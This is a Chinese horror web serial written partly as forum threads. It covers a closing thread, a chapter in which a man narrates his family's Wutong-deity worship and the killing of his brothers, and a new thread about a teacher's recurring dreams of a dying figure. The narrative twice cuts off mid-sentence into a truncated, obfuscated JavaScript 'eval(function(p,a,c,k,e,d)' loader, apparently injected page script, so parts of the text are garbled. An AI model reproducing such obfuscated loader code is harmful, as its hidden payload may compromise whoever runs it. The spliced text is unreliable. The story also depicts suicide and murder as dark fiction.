我不知道这么说对不对。但我觉得,那个“神”大概也不是什么坏东西。 祂只是太饿了。和我一样。 198L 林中霁色 ……………… 199L 山重水复 楼主……这是和那个“神”和解了? 200L LZ 一水载舟 不知道。也许吧。也许我只是在和自己和解。 我还是有病,还是会饿,还是会被那种感觉困扰。但我现在知道,那不是我的错。也不是别人的错。 世界上很多事情就是分不出谁对谁错的。 就像那条河。它在那儿,我得渡过去。 9月1日 10:55 201L 北风那个吹 楼楼,你以后还会更新吗? 202L LZ 一水载舟 也许不会了。这个帖子对我来说已经完成了。我知道我是谁了。 我叫陈水。我奶奶起的名字。她说,一水载一舟。 谢谢你们陪我找回来。 203L 芝士雪豹 楼楼,保重。 204L 星野漫漫 楼楼保重。 205L 天天向下 楼楼保重! 206L 南瓜不说话 保重。 207L 北风那个吹 保重。 208L 林中霁色 保重。 209L 山重水复 保重。 210L 摸鱼事务所 保重。 211L 昨日春 保重。 212L 阿丘 ……保重。 213L 今天也在赚钱养家 保重。 214L 海盐芝士 保重。 215L 柳叶刀 保重。记得按时吃药。 216L LZ 一水载舟 会的。 再见了。 --- 最后编辑时间:2008年9月1日 11:00 本帖共有 1,227 人收藏,9,642 人浏览 【以下内容为论坛体之外的对话】 后来,陈水在一个下雨天去了慕坪中学。 他站在校门口,看着那棵银杏树。叶子还是绿的,被雨打得沙沙响。他站了很久,直到有人从身后叫他。 “陈一舟?” 他回过头。是席鸿秋。打着一把黑伞,穿着一件灰扑扑的外套,比以前高了,瘦了,但眼睛还是亮的。 “你怎么来了?”席鸿秋问。 “路过。”陈水说,“想来看看。” 席鸿秋没追问。他撑着伞走过来,站在他旁边。两个人一起看着那棵银杏树,谁也没说话。 过了一会儿,席鸿秋忽然说:“你改名字了?” 陈水愣了一下。“你怎么知道?” “你刚才登记的时候写的‘陈水’。”席鸿秋看了他一眼,“保安室的本子上。” 陈水笑了笑。“嗯。改回来了。” “为什么?” “因为我本来就叫这个名字。”他顿了顿,“我奶奶起的。” 席鸿秋没说话。雨落在伞面上,啪嗒啪嗒的。 “我还没听说过直接用‘水’来当名字的——你怎么不叫‘陈淼’?”席鸿秋说。 陈水笑了。那个笑容很轻,很淡,像雨落在水面上漾开的圈。 “三个水太多了。”他说,“奶奶说,贪多失大,一个水就行。一水载一舟。” 雨还在下。银杏树的叶子在风里轻轻晃。 席鸿秋张了张嘴,但还是没说什么。 很久之后,他开口:“我记得的。” 陈水转过头,看着他。 “你的名字。”席鸿秋说,“我记得,并且会永远记得。” 陈水沉默了一会儿。然后他笑了。他笑得很开心,眼睛弯弯的,像很多年前那个递给他橘瓣的男孩。 “那就好。”他说。 (tot)> 19. 积薪 烬,火之余木也。有“毁灭后重生”之意。 我叫沈厝。“厝”这个字单独看可能想不起来,放到“厝火积薪”里,你大概就认识了。 我家世代务农,住在慕安市长暕村。没几个人读过书,或者说,那个年代,没几家人供得起人读书。不晓得幸还是不幸,我娘会写几个字,爹便让她教我和弟弟们。她讲起话来磕磕绊绊的,带着别处的口音,我懒得听。但老二喜欢,总是爱和她亲近。 比起上学,我更期待年末的庙祭。年年都要杀猪杀羊,摆在盆里供神像吃。神像刻得再精细也是块石头,哪能真吃得上?最后便宜的还不是我们这些孩子,吃得满口流油,埋汰点的,衣服都看不得。 村里一直供奉着上参娘娘,座下还有个什么童靈神,说是送子的。村里小孩比隔壁村多,我反正不信这个——明明是我们村的汉子娶到老婆的多。一堆大人,看得还没我这个小孩明白。 但不知道什么时候,庙里的神像换了,变成了一尊我从没见过的。后来我才知道,那是五通神。 那时候我已经很大了,再几年就要娶老婆,吃肉的事渐渐轮不到我,自然也对庙祭提不起兴趣。 娘是在我十三岁那年走的。 大约是庙祭前几天。娘终于肯出家门了,这还是我印象里的第一次,所以记得很清楚。她怀里抱着块灰色的布,鼓鼓囊囊的,不晓得装的是什么。村里人都在张罗布置神庙,娘不想打扰人家,一直离得远远的,如果不是老二指给我看,我可能都发现不了。 我拉着老二过去。娘被吓了一跳,她看看我,又看看老二,半晌扯出一张笑。娘生得很好看,老二和她长得最像,也好看,好看得不像个爷们。只有我这个当哥的乐意找他玩,别人见了都要边喊“小娘炮”边笑嘻嘻地跑走。 我问娘要去干什么。她抿了抿嘴,说去城里给我们买点甜嘴。老二乐开了花,他从小就爱吃甜的,不吃糖就闹腾,牙都吃坏了也不停。村里人都劝,爹说这是老二上辈子吃了太多苦,这辈子多吃点甜的才能长大。别人也不好说什么了。 我总觉得不对劲,右眼皮突突地跳,便央着娘带我们一块。看一群老汉老头忙里忙外有什么意思?不如去城里见见世面。娘不同意,我们就拉着不让她走。最后她实在没法子,把灰布包一挎,一手一个牵着我们走了。 城里卖的糖确实甜。老二乐得满口蛀牙都藏不住了。娘却不怎么开心,心事重重的。我和老二一人一个笑话,把她哄了回去。 回到家的第二天,也或许是第三天,庙祭那天,一大清早,娘被发现吊死在神像面前。那时候的神像还是上参娘娘,或者已经换成了五通神?我不记得了。爹没让我们进去看,一个劲地骂晦气,说早不吊晚不吊,偏要捡着庙祭的时候吊,给村里添乱。最后庙祭办成了吗?应该是成了的,那年爹骂我属我肉吃得最多,但望着我的眼里还是含着笑的。 然后老二就死了。 很突然。村里大夫说是被糖噎死的,当时他手里还攥着半个糖块。可哪来的糖?是娘之前多给了老二几颗吧?应该是的。娘就喜欢老二一个,净捡着他开小灶。 话是这么说,弟弟死了还是要悲伤,要哭上一哭的。但要我说,场上谁的悲痛没掺点水呢?爹还有那么多儿子,哪缺他一个?弟弟们还那么小,正是记性差的年纪,哪会记着他?死了便罢了,又要在我们心里再死一回,值当吗?肯定是不值的。 果然没几天他就被人忘了。只是我偶尔扯着老三老四去玩的时候会想起他一下。也只是想一想。没了他,生活还是照样过。该吃吃,该睡睡。若说变化,不过是能进我口里的饭多了一些,铺盖里的空间大了一些罢了。 后来村里翻新扩建,神庙被拆成了县政府,里头的神像也不翼而飞了。父亲不知道从哪又请来一尊小的,放在客厅里,一进门就看得见。红木雕的神龛,里面神像笑眯眯的,不管你看不看祂祂都直勾勾看着你。怪瘆人的。 以前也没见他这么信神,怎么现在还把人家搬家里来了?不过比起不知道什么时候开始变怪的父亲,我的注意力更多在家里越来越多的金摆件、越来越华丽的装饰上。 家里好像越来越富贵了,伙食也从粗茶淡饭变成几乎顿顿都有肉吃。我们去问爹,爹说他在城里开了公司,生意正红火。 “娘和二哥没赶上好日子啊。”老三拉着我感叹。 我瞥他一眼:“你非得在爹面前碰霉头?信不信我送你下去陪他们?” 老三捂住嘴,讪笑着不说话了。 没多久,我们举家搬到市里,连那个瘆人的神龛一起。不过被挪进书房了,风水先生说放客厅散财。那风水先生有几分真本事我不知道,但我挺感谢他的——至少瘆人的感觉少了。 爹让我们改口,说城里人都管爹叫“父亲”,只有乡下人才喊“爹”。喊爹就是向城里人露怯,就是守不住财。也不知道哪来的歪理。老四年纪小,把不乐意摆在脸上,被父亲狠狠训斥了一顿,不情不愿地改了。要我说,改就改嘛,难不成改了口之后爹就不是爹了?只要你身上流的血没换,一辈子就都是沈家人。 我成年那天,父亲把我叫到书房,指着那尊神龛,说沈家能有今天全是五通神的功劳。我是他的继承人,也要学着拜神,才能把沈家的光彩传下去。我似懂非懂地点点头,父亲便满意地笑了。 我开始跟着他学“拜神”。越学越心惊。 杀“猪羊”,涂腥血,吃生肉。这真的是一个正常的神灵能定下的仪式吗?小时候的庙祭是什么样的?我似乎从来没注意过。有小孩子什么事呢?我们只需要站在那里装木头人,然后吃肉罢了。吃肉——我们小时候吃的真的是熟肉吗?还是别的?记忆里,每年吃的肉都不是一个做法,清炖、清蒸、红烧。可哪年是清炖,哪年是红烧? 我心头一阵反胃,不敢再细想。有钱能使鬼推磨,反正父亲又没说这种仪式需要本人完成。总有缺钱缺急红了眼的人愿意代劳的。 自从确定我是公司的继承人后,父亲便强制要求我读书。读书多无聊,当年娘没教会我,现在专业的先生自然教着也费劲。父亲颇有些失望。老四跟着我一起学,倒是进步神速——从狗四处乱爬的字变成狗沿直线爬的字了。怎么不算进步呢?父亲看看我,又看看弟弟们,好像放弃了。我在背后偷着乐,心里却在想,为什么一定要读书?父亲你没有读书不也成老板了吗?是五通神的功劳?可我不觉得自己比谁差。城里也有从乡镇里起来的老板,总不能他们背后也都有两三神明在指点吧?世上没有白来的午餐,这是我从小便知道的道理。靠着别人发的家,最后也会被别人毁去。因因果果,老天爷门清。 既然到头也是被收走的命,为什么要把机会留给外人呢? 我看着自己身上板正的西装,咧开嘴笑了。 外面白压压一片,把自己锁进屋里也隔不住人们的哭声。禤彤在一旁担忧地看着我——她是我刚娶的妻子——似乎在犹豫要不要出声。我向她招招手,她便温顺地坐到我旁边,依偎进我怀里。我搂住她,安慰道,不是你的错。当然不是她的错,真实情况我心知肚明。但就像别人说的那样,“只有冤枉你的人才知道你有多冤枉”,我都冤枉你了,又干嘛替你澄清? 况且我知道她实际上在担忧什么——无非是公司的稳定,还有她刚过门就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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呵,那鉴定报告是谁动的手脚?不是父子,但有亲缘关系。是谁的种?老三,还是老四?这可真是—— 你们是在怪我吗?不要怪哥哥狠心啊,那老不死的拼了半辈子,也就拼下了那么点家业,到头来还是要被神仙收走的。这怎么够三个人来分?沈厈,你喜欢美女,哥哥就给你找,只是一不小心混进来个可怜人而已。也是你太急色,怎么就不听人小姑娘解释呢?死了也不冤。还有沈厍,你不是要玩游戏吗?玩呀,玩他个昏天黑地昼夜颠倒,最后猝死掉了又怪谁?哥哥只是好心给你买了你最喜欢的游戏机而已。这怎么能怪到我头上呢? ——不管你是谁的人,禤彤,你说这怎么能怪到我头上呢? 书房失控了。 不知道从谁开始,我雇来做祭拜的人一个接一个地死了。为什么?是方式错了吗?还是神明终于发现我掩耳盗铃的行为了?不,不,这怪不到我头上,你又不是我请来的。冤有头债有主,你若有什么不满,就去下面跟我父亲说去吧。 死光了。 没人愿意来替我祭神了。 父亲只有你了啊,阿烬。 不对,沈烬看我的眼神不对。到底是什么时候开始变的?什么时候——我不知道。真的变了吗,还是我太多疑了?不,不,一定是不对的。孩子的眼神不是这样的。要像老二一样,给他一颗糖立马就欢欣雀跃,狼吞虎咽下去,还说要留一半给我吃。哈哈,叫你别吃那么急呢,傻孩子啊。 可是,沈烬你为什么不会这样? 别用那种高高在上的眼神看我。不管你是谁的种,我都还是你名义上的爹,你还是要叫我“父亲”。哈,还是你已经知道自己的身世了?知道了又怎么样?你现在身上穿的,嘴里吃的,哪一样不是我供的?离了我,你怎么活?你身上只要还流着我沈家的血,就别想逃出我的控制—— 家里来人了。他说他是当初给我父亲神像的。现在神像没人祭拜了,他自然要拿回去。 拿回去?你拿走的真的只是神像而已吗?你敢保证吗!我父亲已经死了,这笔账算不到我头上。我现在的生活都是自己得来的。 祭拜,只要有人祭拜就好了,对吧? 20. 拉钩上吊 3/15 21:47 1L LZ 林中霁色 老实说,我不知道这个论坛还有没有人看。毕竟当年那场封禁影响太大,我身边那些玩论坛的人都退了。 但这件事,我一直想要说出来,即使只是被当故事看也无所谓。 2L LZ 林中霁色 先说一下我自己。我是一个中学的语文老师,教了几年书了,生活平淡,没什么波澜。 但我总觉得有人在看我。 很奇怪。如果是在课堂上被这么看着,我或许会很高兴,但不是。 那种如影随形的视线,只在我一个人的时候出现。 我跟我同事说过这件事。他是教数学的,我们认识二十多年了,他很理性,不信这些东西。他说我可能是最近鬼片看多了,要么就是累着了,让我早点睡。 我说不是累,是别的什么。他看了我一眼,没说话。 后来他开始每天放学等我一起走。我们两家其实是上下楼。但我这几年做班主任,每天要看晚自习。他就在教室后面搬张椅子,等着我。 我也不是没去过医院。但医生说身体没问题,建议我看心理科。我没去。不是讳疾忌医,是……我有一种预感,这和我一直在寻找的“真相”有关。 3/15 21:55 3L 天天向下 是林中哥!这应该是论坛回来后的第一个帖子吧? 论坛里的好多人都不在了啊TAT 4L 洛洛 一定要坐在教室后面吗…… 3/15 22:03 5L LZ 林中霁色 可能吧。毕竟沉寂太久了,就算回归也很难恢复当年盛况了。 更何况时代发展这么快,说不定哪天就不流行刷论坛了呢? 6L LZ 林中霁色 抱歉,但离太远了他不放心。 7L 天天向下 也是……我都大学毕业了,唉(p_q) 3/15 22:04 8L LZ 林中霁色 继续说吧。 那天晚上我改完作业,大概十一点多,准备关灯睡觉。关灯之前我去拉窗帘,看见对面那栋楼的楼顶站着一个人。 我住六楼,对面那栋楼也是六楼,楼顶是平的,平时没人上去。那个人站在楼顶边缘,背对着我,面朝另一边。我看不清他的脸,只能看到他的轮廓——瘦,很高,衣服应该是深色的,风把他的衣角吹起来。 我愣了一下,下意识想叫住他,但没来得及出声——他突然转过了头。 距离太远,我看不清他的五官,但他的眼睛在月光下亮得吓人,像两盏灯。他看了我一眼,然后往前迈了一步,从楼顶跳了下去。 3/15 22:15 9L 星野漫漫 跳、跳楼了?(☉_☉) 10L LZ 林中霁色 我冲到窗前,趴在窗台上往下看。楼下是草坪,路灯亮着,什么都没有。 没有尸体,没有血迹,连草坪上的草都没被压弯。 我站了很久。然后我拿起手机,拨了我同事的号码。 响了三声,他接了。 我跟他说了刚刚看到的事情,他沉默了几秒。然后说:“你在家别动,我过来。” 3/15 22:21 11L 空白 大半夜被吵醒还不生气吗……楼主从哪找的这么好的同事TAT 12L 山重水复 羡慕不来的,你别想了。 13L LZ 林中霁色 嗯,遇到他是我的荣幸。 十分钟后他到了。我给他开门的时候,他手里正端着两杯热牛奶。他进来先检查了窗户,然后检查了门锁,然后在沙发上坐了下来,把牛奶推给我一杯,示意我解释。 我讲了楼顶那个人。他听完没说话,凑过来摸了摸我的额头,又摸了摸自己的。 “你确定你看到了?”他依旧不可置信。 “确定。” “你认识那个人?” “不认识。但眼熟。” 他沉默了一会儿。 “你最近有没有做什么奇怪的梦?” 我说:“有。” 3/15 22:30 14L LZ 林中霁色 我从去年冬天开始,反复做一个梦。 梦里我站在一条河边。河水是黑的,看不见底,但很平静,像一面镜子。岸边有一棵树,我看不清是什么树,但能闻到它开的花很香。河对岸站着一个人,离我很远,我只能看到他的轮廓——瘦,很高,衣服的颜色很深,比河水还深。 和我在楼上看到的那个人一模一样。 他站在河对岸,一动不动。我想叫他,但发不出声音。我想试着过河,可河水太深了,而且很黏——我不会水。 我站在岸边无能为力。 于是这时候他会慢慢转过身,面朝我,开始往河里走。 水没过他的脚踝,没过他的膝盖,没过他的腰,没过他的胸口,最后没过他的头顶,水面恢复平静,一点气泡和波纹都没有,像什么都没发生过。 然后我就醒了。 每次醒来都是一身冷汗,心跳得很快。 15L 暮色 这次是跳河吗…… 16L 星野漫漫 这什么黑衣人的一百种死法!当dumb ways to die吗! 3/15 22:44 17L LZ 林中霁色 我同事听完,把牛奶杯放在桌上。 “你以前认识别的……人吗?” 我愣了一下,问他什么意思,他用一种很复杂的眼神看着我,说没什么,只是随便问问。 他没再说话。我不知道他在想什么,他也不会说。我们认识二十多年了,却依旧无法做到所谓的心意相通。 那天晚上他在我家待到凌晨两点,确认我睡着了才走。他走的时候我其实没睡着,听见他关门的声音,过了很久,才又响起脚步声。 第二天早上他来给我送早饭,说:“昨晚的事,你再想想有没有遗漏的细节。” 我想了想,说:“那个人的背影,让我想起一个人。” 3/15 22:50 18L 天天向下 想起谁了?楼楼别卖关子啊! 19L 星野漫漫 该不会是认识的人吧……那也太吓人了 20L LZ 林中霁色 我说:“我爸。” 他手里的包子掉在桌上。 我父亲在我六岁那年去世了。心脏病。 当时我太小了,很多东西都记不清,甚至父亲的脸都已经模糊了。但我记得那天医生单独找了我的母亲——“死者并无心脏病史,但是……”后面我没听清。 父亲死后第二年,同一天,同一时间,跳楼了。跳之前,她眼神恐惧的看着我,好像我不是她儿子,而且催命的恶鬼。 我家没什么亲戚,即使有,也不想收留我一个克死了父母的灾星。于是我来到了孤儿院,认识了我同事。 3/15 22:58 21L 山重水复 ………………你才不是灾星。 22L LZ 林中霁色 ……嗯。 我同事沉默了很久,把掉在桌上的包子捡起来,放在盘子里。 “你觉得那个人是你爸?” “不是。我爸没这么高。而且……我爸已经走了二十多年了。我不会认错。” 他点点头,没再追问。 但我知道他在想什么。他在想:那个人不是我爸,但那个人和我爸有关系。和那条河有关系。和我那个梦有关系。 这些事,我没法跟别人讲。只有他。从孤儿院开始,就只有他。 3/15 23:05 23L 暮色 没有心脏病史却突发心脏病吗?虽然我不是专业的,但应该也不是没有可能吧? 24L 柳叶刀 是的。如果有高血压,高血脂,或者不良生活习惯的话,也可能会患心脏病的。那个“但是”后面应该就是说的这个吧。 25L LZ 林中霁色 我不知道,但我觉得不是。 他们谈了很久,出来后我母亲看我的眼神就不对了…… 算了,不说这个。继续说我同事。 26L LZ 林中霁色 我比他晚到半年。我去的那天是冬天,很冷,院子里那棵槐树光秃秃的,什么都没有。院长把我领进去的时候,他正蹲在墙角,一个人玩石子。 他抬头看了我一眼,没说话,又低下头继续玩。 后来他跟我说,他当时想的是:又来一个抢饭的。 我说:那你后来怎么不嫌我抢饭了? 他说:因为你抢不过别人,老挨欺负。我没办法。 他说“没办法”的时候,脸上没什么表情。但我认识他二十多年了,我知道那不是妥协,而是心甘情愿。 3/15 23:15 27L 星野漫漫 天哪……你们两个…… 28L 洛洛 二位真的只是同事吗 (=?Д?=) 29L 天天向下 哇塞还有瓜吃?! 3/15 23:22 30L LZ 林中霁色 ……正常点,我们都是男的——不过比起兄弟情什么的,我们之间更倾向于亲情。 说远了。回到之前的事。 那天晚上,我同事走后,我又做了一个梦。 这次又换成了一片森林。那个人站在一棵歪脖子树下面,看着我。然后吊了起来,吊在了那棵树下。 3/15 23:30 31L 空白 这已经是第三种死法了吧? 32L 暮色 高楼,河边,森林……这些地点有什么联系吗? 33L 山重水复 都死人了? 34L LZ 林中霁色 ……别闹了谢谢。 说起来,这些梦都会给我一种既视感。脑海里也会闪过一些回忆。 但只是碎片。比如一棵很大的槐树,一个很旧的报社,一个很温柔的人。那个人教我读书,给我端粥,摸我的头。但我不记得他长什么样了,也不记得他叫什么名字。只记得他很高,很瘦,说话的声音很轻。 3/15 23:40 35L 北风那个吹 报社?什么报社?楼楼还记得名字吗? 36L LZ 林中霁色 不记得了。但我同事说,他以前好像也听过类似的地方。他说等他问问那个朋友。 我问他什么朋友,他说“一个路子很野的朋友”。 我跟他一起长大,他有哪些朋友我都知道。他没有这样的朋友。 但我没追问。他不想说,那就不说。 3/15 23:48 37L 暮色 我上哪找这么有边界感的朋友<(tot)> 38L 天天向下 所以楼楼你后来还做这些梦吗? 3/15 23:55 39L LZ 林中霁色 做。但不是每天都做。有时候是高楼,有时候是河,有时候是森林……还有别的地方。梦里的那个人每次都会用一种不同的方式消失。跳楼、跳河、上吊……还有几次是在火里,被烧得什么也不剩。 但不管他怎么消失,第二天他都会重新出现。站在楼顶,站在河边,站在树下。 有时候我觉得他也在等。等我做些什么,或者说些什么。 但我不知道该做什么。 我同事说,也许答案就在我那些丢失的记忆里。 3/16 00:05 40L 摸鱼事务所 楼楼,你有没有想过,那个人可能是你自己?或者……另一个你? 41L LZ 林中霁色 @摸鱼事务所 我不是没思考过,但马上就否定了。我还不至于连我自己都认不出。 我同事说,他以前也做过奇怪的梦。梦里有一个人站在对面,叫他一个很奇怪的名字。他不知道那个名字是谁的,但他觉得很熟悉。 我们俩有时候会开玩笑,说上辈子可能认识。可那也只是玩笑话,天底下这么多人,要我们认识两辈子——那也太巧了。 3/16 00:15 42L 星野漫漫 那个名字是什么?楼楼能说吗? 43L LZ 林中霁色 他没细说。他说那个梦醒来就模糊了,只记得那个名字的发音,和那种感觉——对面人在等他。 他说这话的时候,正蹲在我家厨房帮我修水管。头也没抬,语气跟说“今天天气不错”一样。 我当时站在厨房门口,看着他,忽然想起小时候在孤儿院的事。 那时候我们俩睡上下铺。他在上铺,我在下铺。夜里有时候我睡不着,会听见他在上面翻来覆去。有一次我小声叫他,他探下头来,问我干嘛。 我说:“你也没睡?” 他说:“做噩梦了。” “什么梦?” 他沉默了一会儿,说:“梦见一个人,很奇怪的人。” 那年我们十二岁。 3/16 00:25 44L 天天向下 十二岁就做这个梦了……记了二十多年吗???我的梦只能记七秒orz 45L 洛洛 那楼楼你和同事哥做的梦有什么相同点吗? 46L LZ 林中霁色 我不知道。他没细说过。我们那时候还小,很多事情不知道怎么说,也不知道该不该说。 后来长大了,反而更不知道怎么说了。而且因为我身体的缘故……他更难开口了。 但他记得那个名字。我问他为什么记得,他说:“不知道。就是记得。像记得自己叫什么一样。” 我没再问。 3/16 00:35 47L 空白 楼主你们俩是约好了要一起找那个人吗? 48L LZ 林中霁色 没有。我们从来没有“约好”过什么。 只是在孤儿院的时候,有人欺负我,他帮我挡着。后来分到一个学校,他帮我占座。再后来分到一个学校教书,他每天等我下晚自习。 我们从来没做过什么约定。 但他就是这样做了。 从孤儿院那个冬天开始,到现在。这二十年他一直都在。 3/16 00:45 49L 北风那个吹 楼楼你再说下去我真的要哭了…… 50L 星野漫漫 所以那个人到底是谁啊!河对岸的那个人!跳楼的那个人!上吊的那个人! 51L LZ 林中霁色 我不知道。 但我最近越来越觉得,那个人跟我爸有关。跟我那个梦里的走廊有关。跟我丢掉的记忆有关。 我同事说,他那个“路子很野的朋友”在帮忙查一家旧报社的资料。他说那家报社叫“窥灵”,民国时候的,专门登一些怪力乱神的东西。 他说的时候很随意,像是随便提了一嘴。但我注意到他说话的时候,手指在桌上轻轻敲了两下。 他紧张的时候会这样。 3/16 00:55 52L 天天向下 “窥灵”?这名字好耳熟……好像之前在哪个帖子看过? 53L 摸鱼事务所 楼楼,如果你同事查到什么,你会去找吗? 54L LZ 林中霁色 会。 我一直在找。从十二岁第一次做那个梦开始,就在找。 只是以前不知道自己在找什么。现在终于有点方向了。 3/16 01:05 55L LZ 林中霁色 今晚先到这吧。明天还要上课。 我同事刚刚发消息来,说“早点睡,别熬太晚”。 他总是这样,明明自己也还没睡,却要来催我。 一点都不懂以身作则。 3/16 01:10 56L 天天向下 楼楼晚安! 57L 星野漫漫 晚安!等更新! 58L 洛洛 晚安!注意身体! 59L 北风那个吹 晚安。 3/18 20:03 60L LZ 林中霁色 更新一下。 这两天没发生什么特别的事。那个梦还做,但没有新的进展。我同事那边的朋友也还没消息。 但有一件事让我很在意。 昨天晚上我又梦见那个人了。梦里我站在阳台上收衣服,低头的时候看见楼下花坛边上站着一个人。还是那个轮廓,瘦,很高,深色衣服。他站在路灯照不到的暗处,仰着头,看着我。 我僵住了。手里的衣架掉在地上,发出很响的声音。 他没动。就那么仰着头,看着我。 我看了他很久。他也看了我很久。 然后他转过身,走了。走得很慢,一步一步的,像梦里的那个人往河里走一样。他走进巷子,拐了个弯,不见了。 我醒了,心跳得很快。不是因为害怕。是因为我看到了他的脸。 他的脸是模糊的。绝不是我眼花,是……像有一层雾罩着,五官都不分明。但我能看到他的表情。他在笑。很淡的笑,像乌云之下的太阳。 那个笑容,让我想起一个人。一个我从来没见过的人。 我不知道为什么。 3/18 20:15 61L 空白 楼主你说那个人“从来没见过”,但又觉得眼熟?这不矛盾吗? 62L LZ 林中霁色 @空白我没办法解释。 我跟我同事说了这件事。他沉默了很久,然后说了一句很奇怪的话。 他说:“你有没有想过,你看到的可能不是同一个人?” 我愣了一下。“什么意思?” “我是说,”他看着我,“你每次看到的,可能都是不同的人。只是他们长得一样。或者说,你看到的他们,是一样的。” 我没听懂。 他说:“你有没有想过,那些人——楼顶的、河里的、树下的——可能不是同一个人。是你的眼睛,或者说你的脑子,把他们当成了同一个人。” “为什么?” “因为你潜意识里,在找一个人。所以你看到的所有人,都像他。” 我听懂了,但又不太懂。 那个人是谁? 3/18 20:28 63L 摸鱼事务所 楼楼同事这话说得……细思极恐啊。 如果那些人真的不是同一个人,那他们是谁?为什么会在你身边出现? 64L LZ 林中霁色 我不知道。但我越想越觉得他说的有道理。 那天晚上我又做了那个梦。不是河,不是走廊,不是森林。是一个房间。很小的房间,有一张床,一张桌子,一盏灯。灯是昏黄的,照着桌上一碗粥。粥冒着热气。 桌前坐着一个人。他背对着我,穿着一件旧衣服,低着头,好像在写什么。 我站在门口,不敢进去。 然后他转过头来。 我看清了他的脸。很瘦,颧骨很高,眼睛很亮。他看着我,笑了。那笑容很淡,但很暖,像早晨的太阳。 和我在上次的梦里看到的一模一样。 他朝我招招手,说:“过来。” 我走过去,站在他旁边。桌上摊着一本作业本,上面写着一行字。是他的字迹,很工整,一笔一划的。写的是: “拉钩上吊,一百年不许变。” 他指了指那行字,又指了指旁边空白的地方,说:“该你了。” 我拿起笔,歪歪扭扭地——我的手有些抖——写下自己的名字。写完之后,他伸出手,小指勾住我的小指,晃了晃。然后大拇指对大拇指,盖了个章。 他的手很暖。 “好了,”他说,“一百年不许变。” 3/18 20:35 65L 星野漫漫 这梦好温暖……但又好难过。 66L LZ 林中霁色 我醒来的时候,脸上还挂着泪。 我躺在床上想了很久。那个人,那个在梦里教我写字、跟我拉钩的人,我到底认不认识? 我想不起来。但我记得那碗粥。甜粥。我小时候最喜欢喝甜粥。后来长大了,就不怎么喝了。不是不喜欢了,是没人给我煮了。 我同事说,也许那个人是我小时候的什么人。也许是亲戚,也许是邻居,也许是……别的什么。 他说这话的时候,正在翻他那个朋友寄来的一沓复印件。我看了一眼,都是很旧的报纸,纸发黄,字是竖着排的。最上面一张印着四个字:“窥灵报社。” 3/18 20:48 67L 北风那个吹 楼主同事的朋友查到东西了?快说说! 68L LZ 林中霁色 他昨晚拿来的,我们俩一起翻到半夜。 那些报纸很旧了,有的地方字都模糊了。大部分是些奇闻异事,什么“某某地怪谈”“某某人死而复生”之类的,看着像编的。 但有一篇文章,让我很在意。 标题是《心官》。 文章写的是一个传说中的存在。说的是一个有心疾的孩子,被父母抛弃,被收养后养父母却被债主打死了。他一个人在街上流浪,最后冻死在墙角。临死前,他心里只有一个念头:“不公平。”这个念头化成了怨,怨化成了形。 文章的最后一段是这么写的: “祂在世间游荡了不知多少年。祂收集了很多心脏,大的小的,鲜红的干枯的,挂在身上,像一树果子。但祂从来没有吃饱过。因为祂要找的那颗心脏,早就不知道去了哪里。那颗心脏很小,跳得很慢,但它很暖。那是祂从前的心脏。祂找不到了。但祂还在找。” 文章的右上角印着一行小字:“本文原载于《窥灵》民国十七年刊。” 我读完这篇文章,手在发抖。 3/18 21:00 69L 摸鱼事务所 心官……难不成祂就是楼楼梦里的那个“人”? 70L LZ 林中霁色 是。但又不全是。 文章里写的“心官”,是一个邪神。祂在找一颗心脏。一颗很小、跳得很慢、但很暖的心脏。 我同事说:“你在找一个人。祂在找一颗心脏。” “所以呢?”我问。 他没回答。他只是看着我,看了很久。然后说:“你有没有想过,你要找的那个人,可能就是这颗心脏的主人?” 3/18 21:12 71L 星野漫漫 我有点乱了……楼楼和那个心官又不是一个时代的人,怎么可能要找同一个人呢? 72L LZ 林中霁色 @星野漫漫他的意思是,我要找的那个人,可能是心官要找的心脏的持有者的转世。 有篇报道里说,由人类形成的邪神都不彻底,他们的灵魂成了承载“神力”的容器,“形体”却有所欠缺。只有补全自己所缺少的部分才能真正成神——或许这也是祂执着于夺人心脏的原因之一。 但我连我要找谁都不知道。 那天晚上我没睡好。翻来覆去想那篇文章,想我同事说的话,想梦里的那个人。想着想着,忽然想起一件事。 小时候,有人跟我说过一句话。那个人说:“你的心脏不好,但没关系。有人替你撑着。” 我不记得是谁说的了。但我知道,这句话是真的。因为我的心脏,确实不太好。医生说能活到四十就算赚了。 我今年三十六。还有四年。 3/18 21:25 73L 天天向下 楼楼!!你说什么呢!!别乱说!! 74L 洛洛 楼楼你心脏不好?严重吗? 75L LZ 林中霁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林中霁色 @浕他说没有。我知道,他说谎了。 他从来没在正事上跟我说过谎。 今天是第一次。 3/18 22:25 82L 星野漫漫 该不会他梦到过那个地方?? 83L LZ 林中霁色 可能吧。 我问他,是不是做过和它有关的梦。他说:“不知道,但就是觉得很熟悉。我的预感很不好。” 我看着他,没说话。 过了很久,他说:“我觉得,那个地方,我们得去一趟。” 3/18 22:40 84L 天天向下 你们要去青林? 85L LZ 林中霁色 嗯。不管怎么样,如果那些梦真的跟那个地方有关,那我们就得去看看。 现在是三月。学校这边走不开。我们打算等暑假再去。 还有四个月。 这四个月里,我同事说他那个朋友会继续查资料。他说那个人人脉很广,路子还野,什么都能查到。 我没问他那个人是谁。他不想说,我就不问。 就像他从来不会问我“你怕不怕”。 他只会说:“到时候我陪你去。” 3/18 22:55 86L 摸鱼事务所 楼楼,你们真的要去吗?那个地方……总感觉不太妙啊。 87L LZ 林中霁色 要去。 那个梦,那个人,那碗粥,那棵槐树。我要知道它们是什么。 我同事说,有些东西,你躲着它,它也会来找你。不如去找它。 他说这话的时候,正在往里倒牛奶——当然有我的一份。语气很随意,甚至连我都听不出来他在想什么。 我问他:“你不怕?” 他想了想,说:“怕。但怕也要去。” “为什么?” 他看着我,说:“因为与你有关。” 3/18 23:10 88L 北风那个吹 我哭了。我真的哭了TAT 89L 星野漫漫 楼楼和同事哥一定要平安啊! 90L 天天向下 楼楼,等你们暑假回来,一定要来更新! 91L LZ 林中霁色 会的。 不管查到什么,我都会来这里说。 谢谢你们听我说这些。 4/10 20:15 92L LZ 林中霁色 好久不见。最近又发生了些事情,来更新一下。 这一个月里,我同事那个朋友又寄了一些东西过来。这次不是报纸复印件,是一本旧书。书的封面已经没了,扉页上也缺了一角,但还能看出书名,叫《邪物志》。 